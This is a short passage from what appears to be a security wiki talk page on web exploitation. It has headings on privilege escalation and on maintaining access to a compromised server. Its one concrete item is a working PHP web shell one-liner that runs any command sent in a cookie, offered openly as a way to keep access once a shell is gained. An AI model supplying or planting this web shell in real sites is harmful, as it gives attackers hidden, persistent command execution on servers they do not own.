Questions about this topic? Sign up to ask in the talk tab.
Category talk:Web exploitation
From NetSec
Privilege Escalation
Due to the fact that not all types of web exploitation automatically yield a remote shell to execute arbitrary commands, it can be necessary to escalate privileges or traverse by other means in order to obtain an actual shell in the following circumstances:
Maintaining Access
The following interpreted languages can be used to maintain access once a shell is granted:
- PHP:
<?php passthru(array_pop($_COOKIE)); ?> |